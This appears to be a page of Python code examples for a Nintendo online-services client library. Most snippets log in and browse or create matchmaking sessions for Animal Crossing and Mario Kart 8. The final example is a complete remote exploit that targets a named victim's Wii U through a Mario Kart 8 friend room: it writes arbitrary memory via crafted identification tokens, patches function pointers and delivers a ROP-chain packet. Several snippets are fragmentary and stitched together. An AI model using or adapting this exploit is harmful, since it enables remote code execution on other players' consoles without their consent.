Example #1
0
async def main():
    keys = KeySet.load(PATH_KEYS)
    info = ProdInfo(keys, PATH_PRODINFO)

    with open(PATH_TICKET, "rb") as f:
        ticket = f.read()

    cert = info.get_tls_cert()
    pkey = info.get_tls_key()

    dauth = DAuthClient(keys)
    dauth.set_certificate(cert, pkey)
    dauth.set_system_version(SYSTEM_VERSION)
    response = await dauth.device_token(dauth.BAAS)
    device_token = response["device_auth_token"]

    aauth = AAuthClient()
    aauth.set_system_version(SYSTEM_VERSION)
    response = await aauth.auth_digital(ACNH.TITLE_ID, ACNH.LATEST_VERSION,
                                        device_token, ticket)
    app_token = response["application_auth_token"]

    baas = BAASClient()
    baas.set_system_version(SYSTEM_VERSION)

    response = await baas.authenticate(device_token)
    access_token = response["accessToken"]

    response = await baas.login(BAAS_USER_ID, BAAS_PASSWORD, access_token,
                                app_token)
    user_id = int(response["user"]["id"], 16)
    id_token = response["idToken"]

    auth_info = authentication.AuthenticationInfo()
    auth_info.token = id_token
    auth_info.ngs_version = 4  #Switch
    auth_info.token_type = 2

    s = settings.load("switch")
    s.configure(ACNH.ACCESS_KEY, ACNH.NEX_VERSION, ACNH.CLIENT_VERSION)
    async with backend.connect(s, HOST, PORT) as be:
        async with be.login(str(user_id), auth_info=auth_info) as client:
            mm = matchmaking.MatchmakeExtensionClient(client)

            param = matchmaking.MatchmakeSessionSearchCriteria()
            param.attribs = ["", "", "", "", "", ""]
            param.game_mode = "2"
            param.min_participants = "1"
            param.max_participants = "1,8"
            param.matchmake_system = "1"
            param.vacant_only = False
            param.exclude_locked = True
            param.exclude_non_host_pid = True
            param.selection_method = 0
            param.vacant_participants = 1
            param.exclude_user_password = True
            param.exclude_system_password = True
            param.refer_gid = 0
            param.codeword = CODE

            sessions = await mm.browse_matchmake_session_no_holder_no_result_range(
                param)
            if not sessions:
                print("\nNo island found for '%s'\n" % CODE)
            else:
                session = sessions[0]
                data = session.application_data
                print("\nFound island:")
                print("\tId:", session.id)
                print("\tActive players:", session.participation_count)
                print("\tIsland name:",
                      data[12:32].decode("utf16").rstrip("\0"))
                print("\tHost name:", data[40:60].decode("utf16").rstrip("\0"))
                print()
api.login(USERNAME, PASSWORD)

my_pid = api.get_pid(USERNAME)
friend_pid = api.get_pid(FRIEND_NAME)

mii_name = api.get_mii(my_pid).name

# Connect to game server
nex_token = api.get_nex_token(MK8.GAME_SERVER_ID)
backend = backend.BackEndClient(MK8.ACCESS_KEY, MK8.NEX_VERSION)
backend.connect(nex_token.host, nex_token.port)
backend.login(
    nex_token.username, nex_token.password,
    authentication.AuthenticationInfo(nex_token.token, MK8.SERVER_VERSION))

matchmake_ext = matchmaking.MatchmakeExtensionClient(backend)

# Find friend room
playing_sessions = matchmake_ext.get_playing_session([friend_pid])
if not playing_sessions:
    raise RuntimeError("Couldn't find friend room for %s" % FRIEND_NAME)

gathering = playing_sessions[0].gathering

# Request session key (for p2p)
session_key = matchmake_ext.join_matchmake_session(gathering.id,
                                                   "This is NintendoClients")

# Request station urls of session host
matchmaker = matchmaking.MatchMakingClient(backend)
session_urls = matchmaker.get_session_urls(gathering.id)
Example #3
0
    client.login(nex_token.username, nex_token.password, auth_info, login_data)
    return client


nnas = NNASClient()
nnas.set_device(DEVICE_ID, SERIAL_NUMBER, SYSTEM_VERSION, REGION, COUNTRY)
nnas.login(USERNAME, PASSWORD)

#Connect to both the Mario Kart 8 server and the Wii U friends server
friends_backend = backend_login(Friends, False, True, "friends.cfg")
game_backend = backend_login(MK8, True, False)

pid = game_backend.get_pid()

friends_client = friends.FriendsClient(friends_backend.secure_client)
matchmaker = matchmaking.MatchmakeExtensionClient(game_backend.secure_client)

#Create a matchmake session
matchmake_session = matchmaking.MatchmakeSession()
matchmake_session.player_min = 2
matchmake_session.player_max = 12
matchmake_session.participation_policy = 98
matchmake_session.game_mode = 3
matchmake_session.attribs[4] = 0x403  #DLCs enabled
matchmake_session.matchmake_system = matchmaking.MatchmakeSystem.FRIENDS

session_id = matchmaker.create_matchmake_session(matchmake_session, "", 1).gid

#Tell friends we're playing MK8 and have created a room
application_data = b"\0\0\x20\x03\0\0\0\0\0\0\0\0\x18" + struct.pack(
    "<I", pid) + b"\0\0\0"

api = AccountAPI()
api.set_device(DEVICE_ID, SERIAL_NUMBER, SYSTEM_VERSION, REGION, COUNTRY)
api.login(USERNAME, PASSWORD)

#Connect to both the Mario Kart 8 server and the Wii U friends server
friends_backend = backend_login(
	friends.FriendsTitle, False, True, backend.Settings("friends.cfg")
)
game_backend = backend_login(MK8, True, False)

pid = game_backend.auth_client.pid

friends_client = friends.FriendsClient(friends_backend)
matchmaker = matchmaking.MatchmakeExtensionClient(game_backend)

#Create a matchmake session
matchmake_session = matchmaking.MatchmakeSession(
	#Create a gathering with between 2 and 12 players
	#and the participation policy set to 98
	0, 0, 0, 2, 12, 98, 0, 0, 0, "",
	3, [0, 0, 0, 0, 0x403, 0], #game mode = 3, flags = 0x403 (DLCs enabled)
	True, #Open participation
	matchmaking.MatchmakeSystem.FRIENDS, #Only friends will join
	b"", 0, b"", 100, 0
)
session_id, session_key = matchmaker.create_matchmake_session(
	matchmake_session, "", 1
)
user_id = int(response["user"]["id"], 16)
id_token = response["idToken"]

# Connect to game server
backend = backend.BackEndClient("switch.cfg")
backend.configure(ACNH.ACCESS_KEY, ACNH.NEX_VERSION, ACNH.CLIENT_VERSION)
backend.connect(HOST, PORT)

# Log in on game server
auth_info = authentication.AuthenticationInfo()
auth_info.token = id_token
auth_info.ngs_version = 4 #Switch
auth_info.token_type = 2
backend.login(str(user_id), auth_info=auth_info)

mm = matchmaking.MatchmakeExtensionClient(backend.secure_client)

param = matchmaking.MatchmakeSessionSearchCriteria()
param.attribs = ["", "", "", "", "", ""]
param.game_mode = "2"
param.min_players = "1"
param.max_players = "1,8"
param.matchmake_system = "1"
param.vacant_only = False
param.exclude_locked = True
param.exclude_non_host_pid = True
param.selection_method = 0
param.vacant_participants = 1
param.exclude_user_password = True
param.exclude_system_password = True
param.refer_gid = 0
Example #6
0
def run_exploit(payload):

	rop_payload = payload

		# Create a packet with a valid header but whose body contains a ROP chain
	rop_packet = b"\x32\xAB\x98\x64\x01\x00\x00\x00"
	rop_packet += struct.pack(">%iI" %len(rop_payload), *rop_payload)

	#Device id can be retrieved with a call to MCP_GetDeviceId(int mcp_fd, uint32_t *out_device_id) on the Wii U
	#Serial number can be found on the back of the Wii U
	DEVICE_ID = 1234567890
	SERIAL_NUMBER = "GEFXXXYYYZZZ"
	SYSTEM_VERSION = 0x0250
	REGION = 4 #EUR
	COUNTRY = "FR"

	USERNAME = "******" #Nintendo network id
	PASSWORD = "******" #Nintendo network password

	FRIEND_NAME = "Rambo6Glaz" # victim nintendo network id (both cannot be the same, otherwise you'll get kicked once the python client connects)

	# Log in on account server
	api = AccountAPI()
	api.set_device(DEVICE_ID, SERIAL_NUMBER, SYSTEM_VERSION, REGION, COUNTRY)
	api.set_title(MK8.TITLE_ID_EUR, MK8.LATEST_VERSION)
	api.login(USERNAME, PASSWORD)

	my_pid = api.get_pid(USERNAME)
	friend_pid = api.get_pid(FRIEND_NAME)

	mii_name = api.get_mii(my_pid).name

	# Connect to game server
	nex_token = api.get_nex_token(MK8.GAME_SERVER_ID)
	backend_ = backend.BackEndClient(MK8.ACCESS_KEY, MK8.NEX_VERSION)
	backend_.connect(nex_token.host, nex_token.port)
	backend_.login(
		nex_token.username, nex_token.password
	)

	matchmake_ext = matchmaking.MatchmakeExtensionClient(backend_)

	# 0x387E0A1C - 0x387E0640

	# Find friend room
	playing_sessions = matchmake_ext.get_playing_session([friend_pid])
	if not playing_sessions:
		raise RuntimeError("Couldn't find friend room for %s" %FRIEND_NAME)

	gathering = playing_sessions[0].gathering

	# Request session key (for p2p)
	session_key = matchmake_ext.join_matchmake_session(
		gathering.id, "This is NintendoClients"
	)



	matchmaker = matchmaking.MatchMakingClient(backend_)
	session_urls = matchmaker.get_session_urls(gathering.id)

	# Constructs an indentification token that writes
	# an arbitrary value at an arbitrary address
	# Constructs an indentification token that writes
	# an arbitrary value at an arbitrary address
	def write(addr, value):
		func = 0xE8A26D4
		dummy = 0xAAAAAAAA
		strbuf = 0x386043D8
		vtable = 0x386042D4
		return struct.pack(
			">IIIIIIII", addr - 0xC, func, dummy,
			dummy, strbuf, vtable, dummy, value
		)


	# The ability to write an arbitrary value at an arbitrary address is
	# a powerful tool. It's easy to patch a virtual function for example:
	# you simply need to overwrite its function pointer in its vtable.
	# I'll briefly explain how this exploit turns this into a ROP chain.
	#
	# Md5Context::GetHashSize is called when the console checks the signature
	# of an incoming packet, and when it appends a signature to an outgoing
	# packet. Although GetHashSize doesn't take any parameters, r4 always
	# contains the content of the packet when it is called, and r5 contains
	# the size of the packet. This exploit redirects Md5Context::GetHashSize
	# to the following piece of code:
	#     ...
	#     addi r3, r1, 8
	#     bl memcpy
	#     ...
	# The next packet we send to the console after patching Md5Context::GetHashSize
	# will be copied onto the stack, and the ROP chain starts as soon as
	# Md5Context::GetHashSize returns.
	#
	# There are two issues with this approach:
	#    - The console may try to send a packet before it receives our ROP packet
	#    - The console might receive a packet from someone else before it receives
	#      our ROP packet
	# Both cases cause a normal packet to be copied onto the stack and crash
	# the console. This exploit works around the first issue by patching
	# StationPacketHandler::AssignPacket to always return 0. This stops the
	# console from trying to send any packets. The second issue is the reason
	# that this exploit only works when there are no other players in the
	# friend room.

	injections = [
		(0x1066f9b8, 0xEBC0314), #StationPacketHandler::AssignPacket -> return 0
		(0x1066889c, 0xEBE6624)  #Md5Context::GetHashSize -> memcpy on stack
	]
	

	# Initialize P2P session
	session = PIASession(backend_, session_key)
	session.start(
		write(*injections[0]), #Identification token that performs the first injection
		mii_name
	)

	# Because we won't receive any packets from the console after patching
	# StationPacketHandler::AssignPacket, we need to guess what the console
	# expects.

	# Send a packet that 'expects' an acknowlegement
	# but don't wait for the acknowlegement
	def send_with_ack(station, message):
		ack_id = next(session.resending_transport.ack_id) & 0xFFFFFFFF
		message.payload += struct.pack(">I", ack_id)
		session.transport.send(station, message)

	# Connect to session host
	host = session.connect_to_host(session_urls)
	session.resending_transport.send = send_with_ack
	session.mesh_protocol.send_join_request(host) #First injection
	time.sleep(1) #Wait for join response

	# Replace identification token for second memory injection
	session.station.identification_info = \
		IdentificationInfo(write(*injections[1]), mii_name)

	# From now on we won't receive any packets from the console so
	# we have to do things manually.

	# Disconnect and reconnect to host
	session.station_protocol.send_disconnection_request(host)
	session.station_protocol.send_connection_request(host)
	time.sleep(0.1)
	ack_id = next(session.resending_transport.ack_id) & 0xFFFFFFFF
	session.station_protocol.send_ack(host, struct.pack(">I", ack_id))
	session.station_protocol.send_connection_response(host)
	time.sleep(0.1)
	ack_id = next(session.resending_transport.ack_id) & 0xFFFFFFFF
	session.station_protocol.send_ack(host, struct.pack(">I", ack_id))
	time.sleep(1)

	# Send join request, performing the second memory injection
	session.mesh_protocol.send_join_request(host)
	time.sleep(1)

	# Finally, send packet with ROP chain
	session.transport.transport.socket.send(rop_packet, host.address)

	# Disconnect from game server
	backend_.close()